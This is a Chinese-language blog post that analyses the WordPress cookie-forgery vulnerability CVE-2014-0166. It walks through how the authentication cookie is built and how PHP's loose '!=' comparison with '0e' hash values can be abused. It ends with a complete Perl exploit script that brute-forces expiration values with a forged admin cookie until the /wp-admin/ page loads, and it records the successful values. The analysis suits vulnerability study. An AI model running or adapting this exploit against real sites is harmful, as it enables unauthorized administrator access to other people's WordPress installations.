0×00前言 本文分析的是wordpress3.8.2更新修复的cookie伪造漏洞( CVE -2014- 0166 ),并给出对应exp。 根据描述WordPress before 3.7.2 and 3.8.x before 3.8.2 都是受影响的, 本地安装wordpress 3.8.1进行测试。 0×01 漏洞 分析知识准备 登陆wordpress后台后查看cookie
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7C404207f08e7a5f32dcabad2969d6ee28; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7Ca09bad0632c45f7295835bcc22f50ba7; wp-settings-time-1=1398577578其中
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7C404207f08e7a5f32dcabad2969d6ee28; 为认证cookie 其他cookie可有可无,
我们分析下这个cookie的结构 其中cookie名wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 是 wordpress_md5(siteurl) siteurl为wordpress路径
C:\AppServ\www\wordpress\wp-includes\default-constants.php (1 hit)
Line 168: define('COOKIEHASH', md5($siteurl)
3 我的siteurl为 http://localhost/wordpress
Md5后为BBFA5B726C6B7A9CF3CDA9370BE3EE91
再看这个cookie的值 admin|1398748782|404207f08e7a5f32dcabad2969d6ee28;
格式为$username|$expiration|$hmac$username 为用户名 $expiration为cookie有效期 $hamc为登陆成功后服务端赋予客户端的hash 验证过程在wp-includes/pluggable.php 543-549行
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme); $hash = hash_hmac('md5', $username . '|' . $expiration, $key); if ( $hmac != $hash ) { do_action('auth_cookie_bad_hash', $cookie_elements); return false; }$username,expiration从cookie中取得 从 $username,$pass_frag,$expiration,$scheme中计算中$key。 再用$username,$expiration,$key中计算出hash 对比是否与cookie中的$hmac 一致则给予登陆 为了验证我们上面的分析是否正确 我们将上面代码改成
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme); $hash = hash_hmac('md5', $username . '|' . $expiration, $key); echo '$username:'.$username."<br>"; echo '$pass_frag:'.$pass_frag."<br>"; echo '$expiration:'.$expiration."<br>"; echo '$scheme:'.$scheme."<br>"; echo '$key:'.$key."<br>"; echo '$hash:'.$hash."<br>"; echo '$hmac:'.$hmac."<br>"; exit(); if ( $hmac != $hash ) { do_action('auth_cookie_bad_hash', $cookie_elements); return false; }即运行到此时 将所有我们好奇的变量打印出来 输出结果:
$username:admin $pass_frag:XBxI $expiration:1398748782 $scheme:auth $key:1002e6cddd0416ac265378aa4ab111f8 $hash:404207f08e7a5f32dcabad2969d6ee28 $hmac:404207f08e7a5f32dcabad2969d6ee28我们的分析是正确的! 0X02漏洞原理 对比wordpress3.8.2的修复代码
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme); $hash = hash_hmac('md5', $username . '|' . $expiration, $key); - if ( $hmac != $hash ) { + if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) {将!=修改成!== 这便是产生漏洞的地方了
$a==$b;// Equal TRUE if $a is equal to $b.
$a===$b;// Identical TRUE if $a is equal to $b, and they are of the same type
php手册说明如上
==为非严格比较,会进行类型转换后比对 ==则要求两个变量类型相同
<?php var_dump(0 == "a"); // 0 == 0 -> true var_dump("1" == "01"); // 1 == 1 -> true var_dump("10" == "1e1"); // 10 == 10 -> true var_dump(100 == "1e2"); // 100 == 100 -> true ?>以上是手册给出的例子 1e2为科学计数法,==运算符中 经过类型转换 是被视为与100相等的。 再回到wordpress上 wordpress_md5(siteurl)=$username|$expiration|$hmac
这个认证cookie中,我们若固定$username的值不变,$hmac固定为0,不断更改$expiration的值,使得 $hash= hash_hmac('md5',$username.'|'.$expiration,$key);
的值不断改变 一旦$hash的值变为科学计数法表示的0如0e+30位0-9任意数字,即可验证通过。 32位下 科学计数法表示0,总共更有: 10^0+10^1+……10^30种情况 而32位md5总共有: 16^32种情况 故攻击成功的概率为: (10^0+10^1+……10^30)/16^32 约三亿分之一的概率 拼人品了 0x03exp 根据以上分析,我们便可以写出exp了。
Crak.pl use LWP::UserAgent; $url="http://localhost/wordpress"; #要攻击的wordpress地址 $sitehash="bbfa5b726c6b7a9cf3cda9370be3ee91"; #$url的md5值 for($i=10000000000;;$i++) #$expiration { my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new('GET' => $url."/wp-admin/"); $req->header('Cookie' => "wordpress_".$sitehash."=admin%7c".$i."%7c0;"); #将cookie设成我们想要的情况 my $res = $ua->request($req); print "wordpress_".$sitehash."=admin%7c".$i."%7c0"."\n"; #将cookie的值打印出来看看 print $i."\t"; print $url."/wp-admin/"."\n"; print $res->status_line."\n"; if(index($res->content,"您好,admin")>0) #如果成功进入后台则记录在D盘下的result. html 文件 { open(SH, ">> d:/result.html"); print SH ($i."\n"); } }
查看更多关于WordPress cookie伪造漏洞详细分析及exp - 网站安全的详细内容...